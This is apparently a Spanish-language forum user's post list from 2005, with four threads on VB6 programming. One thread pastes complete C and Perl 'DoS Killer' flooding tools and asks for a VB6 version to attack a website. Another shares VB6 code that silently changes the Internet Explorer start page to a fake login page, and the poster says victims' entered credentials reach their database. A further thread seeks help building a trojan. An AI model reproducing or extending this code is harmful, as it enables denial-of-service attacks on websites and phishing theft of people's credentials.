|
Mostrar Temas
|
Páginas: 1 2 [3]
|
21
|
Programación / Ingeniería Inversa / Ayuda Numega SmartCheck
|
en: 2 Octubre 2005, 14:18 pm
|
Lo que yo quiero hacer es ver un "poco" el código fuente de VB6 de una aplicación, sé que no "existe" el programa que te de el código fuente entero ni nada de eso, yo más que nada, quiero orientarme, bueno, asi pues...
Tengo dudas con el SmartCheck porque no lo entiendo básicamente...En el smartcheck, ¿dónde puedo ver más o menos el código que me ofrece?, Aqui una captura:[/font]Saludos, me pongo que notifique
|
|
|
22
|
Programación / Programación Visual Basic / DoS Killer en VB6
|
en: 26 Septiembre 2005, 20:56 pm
|
Bueno... con "DoS Killer" me refiero a una aplicación que hace DoS a una web determinada... Siempre he tenido la intriga y curiosidad d hacerme una aplicación que haga DoS jejeje... Pero siempre que busco por internet me lleva a links que ponen que delphi, perl, c es mejor que no vb y que tal y tal... pero no!! Yo busco en VB6 ... Me ha quedado MUY claro lo siguiente: crear una matriz de sockets, y crear un bucle e ir cargando cada socket y conectar a la web para realizar la correspondiente petición xD... pero no lo se poner en práctica... jejeje Mirad, tengo los codes para hacer este tipo de programas, pero los tengo en C y perl, los posteo por si a alguien le interesa... C/*DoS Killer v2.0 - by Lympex
Prueba de concepto sobre conexiones de sockets en C.
Nota: Se le pueden añadir threads para realizar un ataque más fuerte.
Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk */ #include <winsock.h>//sockets #include <stdio.h>//i/o #include <string.h>//strings
/*---*/ SOCKET s;/*el socket*/ /*estructuras*/ WSADATA wsa; SOCKADDR_IN sin; /*---*/
void main(int argc, char *argv[]) { int Crea_Socket_Cliente(char *Ip, short int Puerto);//para crear el socket char *HostIp(char *Host);//devuelve la Ip a partir del HOST
//para las repeticiones unsigned int i,k; //para el intervalo unsigned int interval; //para la información a enviar char *buf;
if(argc!=6) { printf("\nDoS Killer v2.0 - by Lympex"); printf("\nPrueba de concepto de sockets en C"); printf("\n----------------------------------\n"); printf("\n[+] %s <host> <puerto> <string> <repeticiones> <intervalo(ms)>\n",argv[0]); return; }
/*cojemos los datos*/ i=atoi(argv[4]); interval=atoi(argv[5]);
printf("\n[+] Creando la conexion..."); /*CREAMOS EL SOCKET*/ if(Crea_Socket_Cliente(HostIp(argv[1]),atoi(argv[2]))==1) { printf("\nError al crear el socket\n"); WSACleanup(); return; } printf("OK");
printf("\n[+] Conectando..."); /*CONECTAMOS SEGÚN LOS DATOS QUE NOS HAN DADO*/ if(connect(s,(LPSOCKADDR)&sin,sizeof(sin))==SOCKET_ERROR) { printf("\n[!] Error al conectar\n");
WSACleanup(); return; } printf("OK");
//creamos la string a enviar buf=(char *) malloc(strlen(argv[3])*sizeof(char)); strcpy(buf,argv[3]);strcat(buf,"\n");
printf("\n[+] Realizando ataque DoS: "); if(i==0) { for(;;) { if(send(s,buf,strlen(buf),0)==SOCKET_ERROR) { WSACleanup(); printf("OK\n"); return; }else{ printf("."); Sleep(interval); } } }else{ //creamos el bucle para enviar los datos for(k=0;k<i;k++) { if(send(s,buf,strlen(buf),0)==SOCKET_ERROR) { WSACleanup(); printf("OK\n"); return; }else{ printf("."); Sleep(interval); } } }
printf("OK\n");
//salimos WSACleanup(); return; }
int Crea_Socket_Cliente(char *Ip, short int Puerto) { //iniciamos la librería socket WSAStartup(MAKEWORD(1,1),&wsa); //creamos el socket s=socket(AF_INET,SOCK_STREAM,0); if(s==INVALID_SOCKET) { return 1; }
//asignamos los datos sin.sin_family=AF_INET; sin.sin_port=htons(Puerto); sin.sin_addr.s_addr=inet_addr(Ip);
return 0; }
/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/ char *HostIp(char *Host) { WSADATA wsaData; struct hostent *Dire;
/*creamos el socket y cogemos el hostname*/ if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL) { return NULL; }
/*devolvemos la ip*/ return inet_ntoa(*((struct in_addr *)Dire->h_addr)); }
PERL#DoS Killer 1.0 - by Lympex # #Prueba de concepto de cómo realizar ataques DoS en Perl # #Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk #
if(@ARGV!=4) { print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk"; print "\n----------------------------------------------\n"; print "\n[+] Uso: DoSKiller.pl <servidor> <puerto> <string> <veces>"; exit; }
#los datos my $host=@ARGV[0]; my $puerto=@ARGV[1]; my $cadena=@ARGV[2]; my $veces=@ARGV[3]; #el socket use IO::Socket;
print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk"; print "\n----------------------------------------------\n\n[+] Conectando...\n";
my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$puerto", Proto => "tcp", ); die "[!] Error al conectar\n" unless $sock;
#creamos el bucle para enviar los datos
print "[+] Realizando ataque DoS...";
if($veces==0) { for(;;) { print $sock "$cadena\n"; print "."; } }else{ for($i=0;$i<$veces;$i++) { print $sock "$cadena\n"; print "."; } }
print "\n"; close($sock); exit;
#http://l-bytes.tk Ok... Bueno, si alguien me puede facilitar el source en VB para este tipo de aplicaciones para hacer DoS a una web... Se lo agradecería mucho... Saludos... Mientras tanto sigo "estudiando" el tema de los sockets
|
|
|
23
|
Programación / Programación Visual Basic / Pregunta interesante-VB
|
en: 2 Septiembre 2005, 21:09 pm
|
Hola, bueno, hoy he creado una aplicación que lo que hace es que la persona que lo abre se le pone como página de incio de internet la que yo he configurado, esto lo he hecho servir para hacer como una especie de "fake" he puesto que se le ponga como página de inicio un falso inicio de sesión, lo rellena y llega a mi db XD que lista soy, eh? ajajajaj es coña bueno, aki esta el code: Const REG_SZ = 1 Const HKEY_CURRENT_USER = &H80000001 Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String) Dim Ret RegCreateKey hKey, strPath, Ret RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData) RegCloseKey Ret End Sub
Private Sub Form_Load() Dim strString As String strString = Label1.Caption SaveString HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", strString MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation End End Sub entonces, mi duda es esta: en vez de: MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation no se si corresponde a algo del mensaje d alerta o no xD lo q yo quiero es q en vez de poner el mensaje ese, se abra una web, entonces en esa web, sera mia y hare una animacion o un juego, nose, el caso es q quiero q se abra una web, para q m orienteis, como seria mas o menos para q se abriera una web (orientadme sobre el code) GRACIAS ME PONGO QUE NOTIFIQUE RESPUESTAS
|
|
|
24
|
Programación / Programación Visual Basic / Porqué???!!!!! duda al crear troyano en vb
|
en: 1 Septiembre 2005, 20:40 pm
|
bueno amiguetes foreros.. estoy intentando crear un troyano en vb, tengo una web de mucha ayuda: http://www.elguruprogramador.com.ar/zonas/ver.asp?id=63/// bueno, el caso es q como para saber correr primero se debe caminar estoy yendo de lo minimo a lo maxico y he intentado hacer un program que al abrirlo salga tu ip, LO SE HACER!!! pero mi ordenador me lo impide porq no etngo red local, si no, red inalambrica y entonces me da error en el localip ntonces, como no tengo red local me impide poder compilar o previsualizar al picar play, mirad, aki una captura espero q m podais ayudar... Ejemplo 1.
Crear un Proyecto (EXE Estándar) y agregar el WinSock Control. Luego agregar una etiqueta vacía, es decir un Label. Despues introducimos el siguiente código.
Private Sub Form_Load() Label1.caption = WinSock1.LocalIP End Sub
Este simple ejemplo nos da de forma rápida nuestro IP, aunque no estemos conectados a Internet el IP aparece igual, solo que siempre va a tomar el valor : 127.0.0.1
Ahora que sabemos manejar las propiedades podemos seguir con los Métodos. A continuación la lista de algunos de los Métodos más importantes del Control WinSock.
hago todo eso perfe y me sale todo perfe pero mi pc no m deja ni compilar ni previsualizar porq no tengo red local si no inalambrica espero explicarme bien..... aki captura:
|
|
|
|
|
|
|